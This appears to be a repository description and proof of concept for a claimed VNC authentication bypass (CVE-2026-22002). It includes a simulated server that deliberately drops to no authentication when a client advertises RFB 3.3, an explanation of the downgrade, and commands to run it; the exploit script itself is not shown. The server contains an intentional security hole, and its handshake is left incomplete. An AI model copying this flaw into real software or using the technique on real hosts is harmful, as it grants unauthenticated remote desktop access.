george0papasotiriou/cve-2026-22002-vnc-authentication-bypass-via-protocol-version-confusionPython PoC demonstrating CVE-2026-22002 VNC authentication bypass by forcing protocol version downgrade to RFB 3.3, including a simulated vulnerable server and exploit script for unauthenticated remote access.
# vnc_server_sim.py - VNC server with version negotiation flaw
import socket, struct
def handle(conn):
# Send server version "RFB 003.008\n"
conn.send(b"RFB 003.008\n")
# Receive client version
client_ver = conn.recv(12)
# Vulnerability: if client sends "RFB 003.003", server downgrades and uses no auth
if b"003.003" in client_ver:
conn.send(struct.pack(">I", 1)) # security type 1 = None
else:
conn.send(struct.pack(">I", 2)) # VNC Auth
# ... rest of handshake
print("Downgraded to no authentication!")
s = socket.socket()
s.bind(('0.0.0.0', 5900))
s.listen(1)
while True:
conn, _ = s.accept()
handle(conn)
A VNC server negotiates the security type based on the client‑advertised protocol version. By reporting an older version (RFB 3.3), the attacker forces the server to downgrade to the “None” authentication method, gaining unauthenticated remote desktop access.
python vnc_server_sim.py
python exploit_vnc_downgrade.py
The server selects security type 1 (None), bypassing all authentication.